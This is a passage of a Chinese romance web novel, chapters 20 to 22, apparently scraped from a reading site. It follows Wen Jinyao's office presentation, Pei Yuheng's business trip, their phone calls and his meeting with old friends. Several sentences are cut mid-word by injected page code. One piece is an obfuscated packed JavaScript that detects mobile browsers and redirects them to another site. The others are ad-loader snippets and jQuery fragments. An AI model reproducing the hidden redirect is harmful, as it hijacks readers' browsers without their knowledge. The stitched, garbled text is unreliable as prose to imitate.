裴聿珩定定地望了她一阵子,看不够似的,也并不探究她眼底狡黠的笑意,只是笑问她:“吃饭了吗?” “没有哇,一下午到现在,水都没喝一口。”温今遥成功被他带跑,视线漫无目的地在书房中逡巡了一圈,最后遥遥落在书桌一角干瘪的代餐奶昔包装上,微微一怔:“你晚饭就吃那个?” 裴聿珩顺着她眼神望去:“是,怎么了?” 温今遥佯装生气:“你这样不行的,简直拿命换钱,是不是想跟我一样得胃病?” 裴聿珩眉心一抽,默了片刻,才问:“你还记得你的胃病是怎么来的吗?” 这句话让温今遥怔忪了一瞬,她低笑了一声,道:“记得。” 这件事说起来,实在是特别蠢。 两人相识的第五年,温今遥仍然因为那个说不出口的秘密而愧疚着,恨不得变成裴聿珩的脑残粉,上学给他带早饭,偷偷给他借漫画书,小学最后一年发了疯地努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678676|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力要进北城三中,好跟裴聿珩做同学。 其中最蠢的一件事,就是那个暑假,一种名叫PS3的游戏机风靡北城,温今遥不知道哪来的勇气,省了三个多月的饭钱,加上自己攒了多年的压岁钱,给裴聿珩买了一台PS3。 可裴家最不缺的就是钱。 温今遥三个月没好好吃饭,饿出了胃病外加营养不良,在外面玩着玩着忽然晕倒,不得不在温全“赔钱货”的骂声中住院休养。 正在补课的裴聿珩急匆匆请了半天假,跑去看她,她手上还吊着营养液,神秘兮兮地支走护士,从床底下掏出一台崭新的游戏机,仰起脸对着他骄傲地微笑。 “他们说这个好玩,我想你肯定喜欢。” 裴聿珩垂着头盯着她手里的包装盒,一时竟不知所措。 ——家里给买的那台PS3,他已经玩腻了。 然而他依然若无其事地欣喜收下,并在之后的许多年里,一直将这个早就过时的游戏机带在身边,跟着他升学,搬家,漂洋过海,最后又回到北城。 如果温今遥够细心,她就会在衣帽间隐秘的上层,看到那台没有开封的PS3。 裴聿珩有时候会想,那个平平无奇的下午,阳光热得烫人,他无知无觉地走进病房,温今遥仰起苍白的脸对他微笑的那个瞬间,恐怕就已经注定了后来的一切。 “都已经有了前车之鉴了,你就更不能重蹈覆辙。”温今遥无心旧事重提,便迅速揭过了这一篇,拿起手机准备点外卖:“你想吃什么?吃粥好吗?好消化一些。” 裴聿珩望着她的眼神柔软得像一汪水:“都可以,点你喜欢的就可以。” 他的视线避无可避地落在她的唇上。 温今遥专心做什么的时候,嘴会微微嘟起来,很轻微,不仔细看不会发现。她凝神看手机的片刻,刚好给了裴聿珩心猿意马的机会。 饱满、柔软,透着水润的光泽,会让他想起那天晚上,在体温蒸腾的耳鬓厮磨间,他将它包裹、轻吮,再得陇望蜀地将她整个人吞吃入腹。 那是她又是怎样挣扎着、颤栗着,将他全盘接纳。 周围的氧气陡然稀薄,他喉头滚了滚,抬手松了一颗衣领的纽扣,好让自己不那么憋闷。 温今遥却对他的凝视和失常毫无所觉,喃喃地自言自语:“还差五块就能凑个满减了!点什么好!” 单方面的旖旎气氛被这句接地气的家常蓦地打散,裴聿珩失笑,无语地屈起指节按了半天眉心,直接从她手里抽走了手机付了钱:“咱们这种家庭,不需要凑单。” 温今遥伸长了胳膊去抢,口中不服气地控诉他:“你懂什么!我凑单是为了省钱吗!我是为了占便宜啊!” 裴聿珩把她的手机藏在身后,拿起自己的迅速点了几下,又进温今遥的微信点了收款:“几块钱的便宜占着没意思,要占就占大的。” 温今遥抢过手机,嘟着嘴还想抱怨,看到余额的瞬间闭了嘴。 之前她只是听说微信转账的最高金额是二十万,万万没想到,有生之年她竟能亲眼得见。 望着那整齐划一的六个零,她第一反应竟然不是开心,而是“涨见识了”。 裴聿珩看着她直愣愣地冲着手机眨巴眼睛,凑近她耳边轻声笑道:“现在可以不看手机,只看我了吗?” 20. 第 20 章 温今遥的安心只持续了一个晚上。 第二天她在办公室看见无端出现的裴聿珩的时候,表情就像被雷劈了一样。 男人一身矜贵笔挺的西装,将他肩宽腿长的身材衬得更加挺拔,加上他眉目间浅淡的温和,并不使人觉得亲和,反而平添一丝漫不经心的疏离。 温今遥一边气他暗度陈仓,视线一边停在他颈间工整严谨的温莎结上,脑子里竟不合时宜地出现他光裸着上身时,落在她眼前的笔直锁骨。 平直利落的肩颈线条在昏暗光线中缓慢晃动,颈窝处带着点点濡湿汗意,在讳莫如深的灯光下,将不可言说的情动骤然揭穿。 似乎感受到她不同寻常的眼神,裴聿珩目光淡淡扫过来,在她脸上停留短短一瞬,便转开注意,继续带着十足耐心听于放表忠心。 他看她时,脸上还带着公事公办的面无表情,唇角冷淡平直,更带迫人气势,只是那双沉黑眸子里,溢出了一点点旁人看不懂的嗔怪和亲昵。 身边的余承轩被这一眼波及,不由打了个寒颤:“今遥姐,这不是在医院的那个……他刚刚、是在瞪咱们吗?” 温今遥哈哈地干笑一声:“别怕,他不是在瞪我们,他是在瞪我。” 裴聿珩那个爆表的智商,加上两人自幼相识,小时候她一个表情裴聿珩就知道她要放什么厥词,常常是她一句话还没说出口,裴聿珩就先低头浅笑起来。 更遑论是这种亲密又露骨的眼神。 他们之间自小培养的默契,在那档子事儿上,竟出人意料地更上一层楼了。 温今遥甚至怀疑,七年不见,裴聿珩已然成精。 恍神之间,于放已经引着裴聿珩到了A组面前:“这几位是我们A组同事,专门负责半夏的品牌宣传方案研究和策划。喏,小温,温今遥,上次您已经见过了。” 在所有人有反应之前,樊炜率先迎上去,握住裴聿珩向温今遥伸出的手:“裴总!久仰大名,缘悭一面啊!” 他肥硕的身躯将温今遥整个挡住,声音不禁攀了半个八度:“我是A组组长,这次项目主要都是由我负责的。” 裴聿珩淡笑着应了,不着痕迹收回手:“上次温小姐说要将功补过,我想看看阶段性成果,不知现在是不是好时机?” 于放拨开樊炜:“温今遥,问你话呢。” 周围人极有眼色地朝旁边散开,裴聿珩的眼神终于可以正大光明地落在她的身上。 温今遥在办公室里套着一件穿惯了的针织衫,远比谢罪宴时的套装更能凸显她的松弛和生命力。她胸前挂着宝蓝色缎带胸牌,讶异了一瞬,眼底有一丝娇嗔的抱怨闪过,而后目光不闪不避地迎上他,表情从容专注:“好的,裴总。” 裴聿珩胸口猛地被那一眼不足为外人道的抱怨击中,喉头滚了滚,静静看了她两秒,才道:“请吧,温小姐。” 会议室早备好设备虚位以待,裴聿珩坐在首位,等着台前准备好资料便可以开始。 温今遥和余承轩在台前角落一边筛选汇报资料,一边时不时低头窃窃私语,余承轩似乎很紧张,表情纠结得快要哭了,温今遥则像个久经沙场的老将,拍拍他的肩膀,以示安慰。 这个空档,于放带着李玉,照例对他的信任表示感谢,裴聿珩礼数周全地点头,眼角余光却一直停在角落里,那里光线模糊,什么都看不真切。 樊炜作为小组长,显然应当第一个发言。他抹了一把自己所剩无几的头发,对裴聿珩露出一个笑容:“自从上次的小乌龙之后,我重新梳理了项目方案的逻辑,虽然原来的方案已经不能用,但还是有不少可取之处,我提取了原方案的骨架和一些细节,重新评估……” 樊炜有一个很了不起的本事,即使没有丝毫信息量,他也能不重样地口若悬河两个小时,并且外人听起来不明觉厉。 但想要忽悠裴聿珩,他功夫起码还差了一百年。 话音未落,就听裴聿珩开口打断了滔滔不绝的樊炜:“我时间不多,这些笼统的东西就不聊了,可以具体讲讲吗?” 樊炜卡壳一下,答:“当然,我重新梳理了项目方案的逻辑……” 感觉像个卡bug的AI。 裴聿珩没有开口,而是垂下眼帘,轻轻笑了一声。 吓得于放立刻挥手让樊炜赶紧下去,换个能说的人上来。 余承轩侧耳听了一阵,不解地问:“今遥姐,这些不都是你做的吗?” 温今遥:“哈哈,人家是组长,在威禾十年了,我能怎么办?笑一下算了。” 裴聿珩当然知道那些都是谁做的——温今遥吃一堑并没有长一智,在家工作到深夜,还是电脑都不关就睡在书桌旁,次次都是裴聿珩小心翼翼将她抱上床,她整理的文件条理清晰,裴聿珩扫一眼,就能知道她在做什么。 现在樊炜大喇喇地站在他面前,想把他老婆做的所有努力光明正大据为己有。 他第一反应都不是生气,而是觉得好笑,这种伎俩糊弄别人,大概率有用,糊弄他?简直是在做梦。 温今遥忽然被于放点了,懵了一瞬间,这样的汇报,她还没有试过这么早就上场。 但也就是一瞬间,很快她便拿回了主动权,把自己这段时间来所做的努力条分缕析、掰开揉碎了一条一条讲得清晰,从设计思路到效果预演,再到活动后各方的反应,每一个论点和设想都有理有据,跟之前樊炜在空壳子上打转的风格形成鲜明对比,听得战战兢兢的于放都渐渐开始信心满满,大着胆子去看裴聿珩的表情,想从里面找出一星半点的满意来。 但他从裴聿珩脸上看到的,却不是他想象的那种满意。 与平日里温和但迫人的上位者气质不同,此时的裴聿珩眉眼温柔似水,唇角若有似无地翘起,连周身萦绕的沉郁气场都散去不少,取而代之的是某种真正的沉溺跟亲和。 于放甚至有种错觉,裴聿珩对台上站着的人不仅仅是满意,那是一种看到一个人所有来路和挣扎之后,油然而生的骄傲。 但仅仅一秒钟于放就清醒了,并如梦初醒地想抽自己一耳光清醒清醒。 别逗了,温今遥? 别说是温今遥了,就算是李玉,就算是他本人,都既不够格也搭不上关系,能让裴聿珩骄傲的。 在他胡思乱想的时候,台上的温今遥已经结束了绝大多数详实的讲解,话锋一转,道:“修改项目的过程里,余承轩作为新进员工,也做了非常突出的贡献,之后的部分,将由他来给各位汇报。” 台下的余承轩猛地被点名,脸上先是一阵诧异,随后便覆上一层欣喜若狂的感激。 能在这种场合露脸的机会,可谓可遇不可求,温今遥吃了多少苦才等到的,现在却愿意分一半给他,让他的努力也示于人前。 温今遥下台,余承轩上台时,两人擦肩而过,在投影洇出的浅灰色光里偏头对视,温今遥察觉到小朋友不受控制的紧张,伸手在他的手腕上轻轻一握,一触即离。 而这一切都分毫不差地落入了裴聿珩的眼中,像一颗深水炸弹,在他沉静无波的眼底掀起一阵巨浪。 裴聿珩坐在沉肃的会议室的主座上,任由浪潮淹没自己,像是这一秒才清醒。 他终于想起他跟温今遥已经七年未见,这七年里她又经历过什么,长成了什么样的人,不仅仅是能力在成长,那个只会跟在他屁股后面叫“聿珩哥哥”的小姑娘,如今已经能独当一面,甚至能为另一个人撑起一把不算宽阔的伞。 而他还停在原地,什么都不知道。 裴聿珩忽然攥紧了手指。 ……可那个人凭什么,他们不过是在职场上萍水相逢,一纸调令就能让他们这辈子都再不见面。 她明明是他的。 一阵久违的烦躁从心底蔓延而出,裴聿珩本能地抚上颈间的温莎结,想稍微松快些,却又觉得某些情绪如果松了束缚,立刻就会破茧而出,闹得不可收拾,到时候,她说不准会有什么反应。 权衡之下,他手指用力,又将领结系紧了些。 于放察言观 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色的本事简直出神入化,他敏锐捕捉到裴聿珩的不耐烦,抬手打断正要开口的余承轩:“行了小余,今天先到这。” 余承轩引导视线的手愣怔着悬在半空,不由自主地回头去看温今遥。 台上的人是什么反应,裴聿珩并不关心,也第一时间抬眼去看站在场边的那个人。 温今遥怔愣地站在阴影处,眼神跟台上的余承轩对上,脸上的失望简直溢于言表。 “没事,”裴聿珩捏了捏眼角:“让他说完。” …… 精心准备的回报总算圆满完成,于放张罗着要安排晚餐,请裴聿珩务必赏脸。 “晚餐就免了,”裴聿珩依旧温和但拒人千里:“倒是还有些项目上的问题,我想跟温小姐再聊聊。” 温今遥:? 啥话非要在这聊,就不能回家聊吗? 她规规矩矩站到台前,不动声色觑着裴聿珩的脸色。 ……真的很怕他忽然问出什么奇怪的问题来。 裴聿珩问:“既然跨年活动的主题是‘爱情’,那么我想问问温小姐,在你眼里,爱情里最重要的是什么?” 温今遥被前男友背刺得人尽皆知,没怎么思考就答:“是忠诚。” “忠诚又是什么呢?”裴聿珩盯住她的脸,似是循循善诱:“比如,跟异性保持距离吗?” 温今遥显然不知道他问这句话的动机,认真思索了片刻,道:“可我觉得,忠诚并不是占有。” 这句话一出口,会议室内为止一静。 倒不是她的回答有什么,而是裴聿珩。 他在听到这句话的瞬间,眉头轻轻一挑,身上始终平和的疏离感瞬间凝成一道紧绷的迫人气场,压得周围人大气也不敢出。 半晌,他才眯了眯眼,慢慢道:“是吗?” 这个反应,温今遥不明白也难了。 大概是觉得自己的男性尊严受到了挑战,她想,看不出来,还怪小气的。 但在她这些乱七八糟想法的间隙,有一点微不可查的雀跃,毫无缘由地跳动着,以至于她再开口时,语气都柔软不少:“我觉得还有另一样东西,跟忠诚同等重要,就是信任。” 裴聿珩垂下眼眸,这次答得很快:“是吗。” 于放在一边给她使眼色,眼角都快抽筋了:你跟他拗什么!他说什么就是什么呗! 裴聿珩手机响,是吴桓打来电话,提醒他该出发去机场。 裴聿珩挂了电话,抬目平淡道:“很想跟温小姐继续探讨这个问题,但我要赶飞机,就不奉陪了。” 温今遥未经大脑便脱口而出:“出差?” 话一出口她就后悔了,别说出差了,裴聿珩就算说他要上天,都轮不到她来过问。 会议室所有目光瞬间齐刷刷集中在她身上,众人正幸灾乐祸等着裴聿珩会怎么应对这个逾矩的问题,却没想到裴总极深地看了她一眼,竟真的开口解释:“嗯,临时安排。” 温今遥莫名升起的不爽被这句解释所安抚,这才想起来还要演戏:“好的,感谢裴总百忙之中莅临指导。那就……一路平安。” …… 前呼后拥送走裴聿珩,于放长长舒了口气,转头去处理裴聿珩私下交代给他的事。 “这次的项目你别管了,全权交给温今遥,”于放把樊炜叫到办公室,单刀直入:“是裴总亲自要求。” 樊炜懵了半晌:“不是,凭什么啊?我职级在她之上,凭什么这样越级?” 于放觉得没什么必要给他留情面了,直接道:“当时项目书被盗,你让温今遥一个人担责任的时候,怎么不提你的职级在温今遥之上,应该负连带的监管责任?现在想起你是她上司了?” 樊炜憋红了脸:“那不一样……” “哪里不一样?”于放问:“吃肉你先吃,挨打人家小姑娘替你挨,这就是你说的不越级?” 樊炜还想说什么,却被于放挥手打断:“出去吧,好好想想还有哪里可以找补你的项目奖。” 21. 第 21 章 温今遥一个人心不在焉慢慢走回家,第一次觉得这套大平层安静极了,她一个人站在玄关的牛角灯下,看着空旷客厅四周的灯带缓缓亮起,竟觉得这里寂静得吓人。 这段时间她也不是没有一个人在这里呆过,虽然也觉得这里大得过分,却从没有像现在这样怕过,现在想想,也许是她知道,不管多晚,裴聿珩总会回来,绝不会扔她一个人在这里,于是她只负责享受这里私密的安静,不必面对真的一个人独守空房的恐怖。 ……还真是没有对比就没有伤害。 温今遥一边腹诽着,一双落寞而犹豫的眼睛却猝不及防撞进她脑海中。 今天在办公室里,他最后看她的那一眼,让她根本无法不在意。 她见过那种眼神,七年前她当着整个裴家拒绝他时,年轻的裴聿珩就是用那种眼神望着她,以至于后来他每一次入梦,梦里始终下着连绵不断的雨。 那场雨,分明下在他的眼睛里。 温今遥胸口蓦地漫上一阵绵密的酸痛,起身给自己倒了杯冰水。 冬夜里沁凉的水顺喉咙流下,稍稍安抚了她即将淹没理智的怪异情绪。 头脑冷静了,再想想还是觉得怪异。 就算七年前的裴聿珩对她是真感情,但也就是小少爷一时兴起的新鲜,这么多年他早就不记得自己是谁了才对。 重逢之后的荒唐婚姻,她一直都当做一场裴聿珩手下留情的报复和利用,最好的结果也不过是各取所需,既然如此,他又怎么会当着那么多人的面,流露出那样的目光? 就好像……他根本无法控制一样。 难道,有万分之一的可能,他对她还有一丝一毫的不甘吗? 窗外夜色渐冷,落地窗内凝出一层薄薄的雾,轻纱一样覆上灯火辉煌的北城CBD。 温今遥在宽阔的沙发上找了一个角落窝起来,第一次打算真正面对这个问题。 她不得不承认,裴聿珩是个无可挑剔的伴侣,他温柔坦荡,总是能在别人说出需求之前就先满足,会尊重别人的想法,甚至连她自己都无法面对的欲望,他都一并宽容地承接了。 但……这能说是喜欢吗? 无论跟他结婚的是谁,他应该都能为对方做到这些吧? 她拿出手机解锁,调出裴聿珩的号码,却在拨出去的前一刻停下了动作。 她要跟他说些什么呢,直白地去问? 温今遥发现,自己久违地升起了一种叫“不敢”的情绪。 她没想明白是怎么回事,电话便先她一步铃声大作,她惊了一瞬,低头去看,屏幕上明晃晃写着两个字:金主。 ……裴聿珩这是到了? 她接起来,一声“喂”没有出口,那边嘈杂的机场广播便裹着风声撞进了她的耳朵。 一起传来的,还有裴聿珩明显急促起伏的呼吸,和沙哑着试探的声音:“今遥?” 温今遥一下子坐起来:“你怎么了?” 裴聿珩却像瞬间松了口气,努力稳了稳声线:“没事,你到家了吗?” “嗯,”温今遥觉得他状态明显不对,追问:“你是不是不舒服?” 裴聿珩确实是不舒服。 他的幽闭恐惧严重到无法忍受任何密闭空间的地步,尤其是飞机这种东西。 但裴聿珩人在生意场,一年中总有很多时间需要出差,所以他每次一上飞机就服安眠药,借助药物沉沉睡去,一直睡到下飞机。 一般而言他都能精准睡到目的地,但今天,或许是因为在威禾与温今遥的对话,他睡得极不安稳,在飞机刚刚开始下降时,就在一阵颠簸中忽然惊醒。 做了一个得而复失的梦。 再次服药竟没有起效,飞机上的半小时对他来说不啻于一场酷刑,当他内里衬衫湿透,额角冷汗涔涔时,仿佛永无止尽的飞行终于到了尽头。 裴聿珩脚步虚浮地走下扶梯,冷风吹透了贴在身上湿透的衣物,他终于颤抖着,拨通了温今遥的电话。 但这一切,他不能让温今遥知晓。 裴聿珩捂住听筒清了清嗓子,再出声时已是与平常别无二致的温柔:“没有,刚刚走得急。” 温今遥凝神听了一阵子,确实没再听到那种喘息,这才放下心来:“哦,刚刚到?” “是。”那边传来一阵车子发动的声音,想是裴聿珩上了礼宾车:“出差是上午刚刚定下的,昨晚我并不知情。” 温今遥愣了愣,并未想到自己那一点不满的神情他竟然看在眼里:“哦,你解释过了。” 裴聿珩温声道:“当时太匆忙,我不确定你有没有听清。” “没关系的,这点小事你发条信息就好,”温今遥站在客厅落地窗前,透过一片水雾望着朦胧灯光:“不报备行程也行的,毕竟……” 后半句话像忽然被咽回去一样,留下一片沉寂。 电话那头顿了顿,又沉和地开口:“今天去威禾,也是想要出差之前再见你一面,这样我会安心很多。没有提前跟你打好招呼,抱歉。” 温今遥喉头紧了紧,没有回答。 “裴聿珩,你为什么……”权衡再三,她还是决定打直球:“为什么对我这么好?” 那边默了片刻,低笑道:“怎么突然这么问?” “不是……我一直等着你怎么报复我呢,你这样,我怪害怕的。” 裴聿珩失笑:“报复你什么?对自己的伴侣好,难道还需要理由吗?” 温今遥了然:“说得也是,确实不需要。” 一切都很清楚了,他对她好,是因为他本来就是这样的人。虽然裴崇和易湘对她不怎么样,但两个人的感情确实无可指摘,裴聿珩生在这种家庭,自然觉得经营家庭是理所应当的事。 这种经营和他的伴侣是谁,关系的确不大,哪怕过去有什么龃龉,他也能若无其事地把日子过下去。 这答案是温今遥的意料之中,但她却没有自己猜中了的那种坦然,而是盯着窗子上的雾气,抬手画了一个撇嘴的小人儿。 她的回答是标准结束话题的语气,裴聿珩就着她的声音,已经从一开始的窒息中渐渐挣脱,却贪恋着她远在千里之外的存在,不想挂电话。 他转头望着窗外停机坪上亮着的跑道灯,又道:“今天的项目汇报,很精彩。” 温今遥在那边打趣地笑:“看不出来,裴总的老婆滤镜还挺厚的嘛。” “老婆滤镜”四个字让裴聿珩讶异了一瞬,再开口,声音不自觉蒙上一层温软的颜色:“没有滤镜,我向来公私分明,这是出于鸿禧集团总裁的专业角度做出的评价。”他将眼神从窗外收回来,垂眸浅笑:“今遥,你工作的时候,谁都不敢轻视你。” 温今遥那一点奇怪的别扭瞬间就散了,忽然有一种想要大哭着抱着他的大腿叫爸爸的冲动。 她一句谢谢哑在口中,心里却在尖叫:哪个社畜顶得住这种话!我就问还有谁! 既然对方这样抬高她,她也想要礼尚往来,想起下午时裴聿珩似乎被她挑战了男性尊严,便试探道:“那个,裴聿珩?” “嗯,我在听。” “下午那个余承轩啊,就是那个在我之后上台的小朋友,他是今年才来的新人,总监让我带他来着。” “嗯,我知道。” 温今遥大惊:“你知道?” 他自然知道。 于放看到他让本来被打断的汇报继续,以为他看重余承轩,送他出门时见缝插针地夸,说什么孩子才来半年,在温今遥手底下成长很快云云。 裴聿珩凝神听了,面色稍缓,于放以为他听见自己夸小余,很有兴趣,殊不知他的重点全在“温今遥”三个字上。 他对着话筒轻轻“嗯”了一声,语气感慨:“想不到我们今遥,已经到了可以教别人的时候了。” 这句话就像一个温和的兄长,昨天还在看着幼妹调皮地上房揭瓦,今天就见她穿着套装,成为了大人模样。 她令他吃惊,更令他欣慰。 温今遥举着手机,低头望着闪烁在她脚下的万家灯火,瞬间恍惚起来。 她想起自己拿到直升高中的通知书那天,她雀跃着跑到高三那栋楼,迫不及待展示给裴聿珩看。 裴聿珩穿着校服白衬衫,在炎热的夏日午后目光似水地望向她,只说,我们今遥,都已经长这么大了。 这七年他们似乎天各一方,又似乎在某个地方,他们从来没有分开过。 电话那头传来液压车门打开的气压声,温今遥忽然回过神:“你什么时候回来?” 裴聿珩笑答:“我可以把这个问题理解为想念吗?” “唔……”温今遥没承认,却扭捏道:“家里……房子有点大。” 虽然没能得到想要的回答,但裴聿珩听起来似乎很满足:“只是来处理一些紧急事务,顺利的话,三四天就能回去。” 温今遥把“那要是不顺利呢”咽回肚子里:“那,一切顺利。” 挂了电话,她还沉浸在裴聿珩声音特有的沉静温绵的气场中,神游天外地想,三四天呀,那还有好久呢…… 她无知无觉地轻叹一声,抬起手擦净了玻璃上的雾气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 裴聿珩的正事安排在第二天上午,于是当天晚上,他先去见了两个不太想见,却又不得不见的人。 灵蛇酒吧五光十色的招牌大喇喇地挂在中心步行街的核心地段,离着十步远就能听见里头音乐震耳欲聋。 裴聿珩鲜少踏足这种地方,却也听说,这地方背后的老板极擅经营,短短一年,灵蛇已经快成为南城的地标建筑,但老板从来没有公开露过面,神秘至极,被大家传得神乎其神。 裴聿珩想起这些传闻,轻抬了下嘴角。 这地方是他跟两个在国外时的好友共同投资,他人在北城,所以只给钱,其余的不太管,凌漠那个大少爷,隔三差五找他哭穷说要倒闭了,他也怠于过问,每次就给钱了事。 现在看起来,得好好查查账了。 门口侍应生早就被交代了,见到裴聿珩便带着他从外侧楼梯进,踩过一条发着幽幽蓝光的走廊,上了酒吧二楼的房间。 这里原本是一间极宽敞的店面,凌漠把它一起盘下来,改成了一间休息室,里面投影酒柜、桌球钢琴、吧台游戏室,应有尽有,极端符合普罗大众对纨绔子弟四个字的全部想象。 裴聿珩一进门,先对凌漠点点头,凌漠“哟”一声,拎了瓶酒过来:“还挺快。” “明天有工作,不喝了。” 裴聿珩说着,头也不转,便轻车熟路把外套往沙发上一扔,果不其然,外套底下传来一阵叫骂:“裴聿珩你是不是要死!” 骂人的是天宫集团的大小姐沈靖舒,人不如其名,最大的爱好就是找个地方瘫着,只有出去见外人时才有个人样,其余时候,只要有个表面积能放得下她的地方,她一准瘫在上面。 “你去我们家演戏的时候,难道就没想过有今天?”裴聿珩冷笑:“沈小姐?” 沈靖舒的声音闷在衣服底下:“再给你说一遍,我没演,那天我就说了一句话:我找裴聿珩。” 那时他们都刚刚回国,沈靖舒好好的集团千金不当,非要去创业,结果家里不支持,她丧着一张脸去裴家老宅找裴聿珩借钱,没想到裴聿珩早就不住入学资料里填的那个地方了。 她这一去不要紧,却在易湘那里挂上了号,觉得两人在国外肯定有点什么,回国绝对还有戏。 有戏是不可能有戏的,因为沈靖舒是拉拉。 凌漠抻着脖子往裴聿珩背后看了好久,问:“怎么就你一个人啊?你老婆呢?” 裴聿珩慢条斯理换了鞋,道:“我不可能带她来见你们这些……”他停了停,似乎是在比对哪个词更难听:“你们这些杂碎。” 凌漠名字取得霜寒水冷,实际上是个属喇叭的,一激动就吵得人耳朵疼:“谁是杂碎!谁是杂碎!沈靖舒!他说你是杂碎!” 沈靖舒懒懒应了一声:“随便吧——哎对,”她忽然翻起身:“戒指怎么样,妹妹喜欢吗?” 裴聿珩想起温今遥看着钻戒时亮晶晶的眼睛:“还可以。” “什么叫还可以,”沈靖舒追问:“哪一枚还可以?” 裴聿珩手底下一顿,垂眸整理袖口,没搭腔。 沈靖舒看他半天:“裴聿珩,你不会到现在了,才送出去一枚吧?” 裴聿珩还是不响。 沈靖舒摇着头再次躺倒:“哎,没救了你。” 沈靖舒做的是珠宝生意,她本人是极优秀的珠宝设计师。国外念书那会儿,裴聿珩占尽了这个方便,他给温今遥定做的十七枚戒指,每一个都出自沈靖舒之手。 有时候她笔下一刻不停地画着设计稿,没好气地怼他:“你就这么爱她?” “说不好,”那时候的裴聿珩盯着她往来忙乱的笔尖,说:“我也不知道我到底是爱她,还是恨她。” 沈靖舒夸张地叹一口气:“爱恨交织才最难将息,你看着吧,你们两个,还有得纠缠呢。” 时隔多年,裴聿珩想起她这句言事若神的箴言,苦笑着摇了摇头。 凌漠对他这种反应又新鲜又莫名:“人都在你跟前了,你怎么还跟以前一个样,还玩暗恋呢?” 对于这种弱智问题,裴聿珩等闲是不理会的,但今天他忽然想起在飞机上做的那个得而复失的梦。 梦的内容他已经不记得了,只记得那种冷寂和潮湿,胸口的凝滞感甚至超过任何一次惊恐症发作时的窒息。 “再等等,”他眼底空茫着,轻声道:“底牌当然不能在一开始就亮出来。” 凌漠长叹一声,不知从哪里抽出一叠打印纸,扬了扬对他道:“先顾正事吧,裴大情种。” 22. 第 22 章 裴聿珩之所以突然来南城,是因为听说某位股东最近很不安分,私底下在搞一些小动作。而凌漠一直在南城,表面上是玩世不恭的酒吧主理人,实际上一直在帮他盯着对方,收集相关证据。 他上位一年,对方也蠢蠢欲动了一年,现在终于到了该收网的时候。 “你那位贺叔,也真是够可以的,”凌漠把那一叠证据扔到裴聿珩面前:“我看他是太了解你,知道你一上台鸿禧就跟他没有半毛线关系了,之前勾结股东偷你的票不说,现在还玩窃国者侯这一套。” 裴聿珩听他的话像是在听耳边风,顾自翻着文件,却在中间靠后的位置蓦地停了手。 凌漠看到他顿住的动作,幸灾乐祸地落井下石:“看到了?” 裴聿珩一目十行扫过那一页纸,一言不发。 “你上任之前你二叔疯了似地吞鸿禧的公产,现金这都不要说了,去查查他名下的房产你会有惊喜。你猜他是怎么做到的?猜对了——是你爸签的字。哎,说真的,你做过亲子鉴定没有,你真是他亲生的吗?” 他满以为会看到一个温润面具崩得四分五裂的裴聿珩,却没想到姓裴的表情纹丝不动,像是听了一句不怎么好笑的笑话。 “你好歹给一点反应吧我说,白给你当牛做马查这么久……” 裴聿珩抬目瞟他一眼:“要查查酒吧的帐吗?” 凌漠秒怂:“那就不必了吧,您慢慢看,想喝点什么?” 沈靖舒给足了裴聿珩面子,终于从沙发上站起来,又靠在一旁的双开门冰箱旁,默不作声地抱起双臂看他。 还是跟留学时一样,裴聿珩只有在提起那个远在天边的女孩时,身上有一点活人的样子,不然就是这副风雨不动的神情,讲好听点是泰山崩于前而不改色,说难听了,他好像根本不是个真人。 她忽然很好奇,倒真的想见见那位今遥妹妹了。 …… 这一晚上,温今遥睡得很不踏实。 说来好笑,平日里天不怕地不怕的温今遥,竟然因为一个人睡觉而失眠了。 倒也不是害怕,就是觉得身边好像少了什么东西,床也宽得摸不着边,房间也大得望不到头。 她忽而福至心灵,似乎懂了小时候学过的那些闺阁怨妇诗,字字句句都在讲什么东西。 ……不知道裴聿珩现在在做什么,有没有睡觉。 她辗转反侧,决定曲线救国,在朋友圈发了一首仅他可见的歌。 那边很快发来微信:怎么还不睡?睡不着吗? 温今遥立刻雀跃起来,不知是因为自己小小的心机得以实现,还是因为什么别的。 晴天娃娃:是呀,玩游戏玩得太兴奋,失眠了。 她打死也不会承认是因为有些人不在家,自己才睡不着。 裴聿珩:要不要打个电话? 得到首肯后,那边立刻拨了电话过来。温今遥躺在空荡的被窝里,懒洋洋的:“喂?” 裴聿珩声音听上去不那么昂扬,有一点细微的低沉:“小朋友要怎么才肯睡觉?想听故事,还是听首歌?” 温今遥不满得很:“干什么总把我当小孩,我都二十五岁了。” 裴聿珩愣了愣,慢慢道:“对啊,我们都已经长大了……”不知想起了什么,他语调听起来飘飘忽忽,抓不住似地:“小时候的日子,确实是回不来了。” “但现在也没什么不好呀,”温今遥不明所以:“小时候得不到的东西,现在我想买多少,就买多少。” 电话另一头,裴聿珩轻轻抿了抿唇。 她说得对,失掉的天真,命运总会仁慈地兑换同等价值的东西,就看他觉得值不值得。 那他呢,他觉得值得么。 茫茫的沉默顺着电流,在他们之间静默地流淌,许久之后,裴聿珩忽然问:“今遥,你跟我是同一边的,对吗?” 温今遥“啊”了一声,笑道:“裴总多大的人了,怎么还说这种幼稚的话?” 如果是往常,裴聿珩准会柔和地笑着揭过去,但今天他却一反常态地坚持:“你是的,对吗?” 温今遥不去问他为什么忽然问这种问题,兀自笑了半天,才拿捏着他平时哄自己的语气,缓声道:“对呀,聿珩哥哥,今遥跟你是一边的。” 这一句话,几乎在瞬间便补足了裴聿珩茫然若失的痛苦,他从很早以前就渴求的、希冀的一切,都在她遥远却清晰的回答中,隔着渺远的时光,悄悄回到了他的手上。 就连他独自走过这些年所遗失的、付出的,都在这句话里全部得到了报偿。 听筒的另一边,裴聿珩深吸了一口气,有细微但明晰的颤抖传来,温今遥静静听着,忽然问:“很难,对吗?” 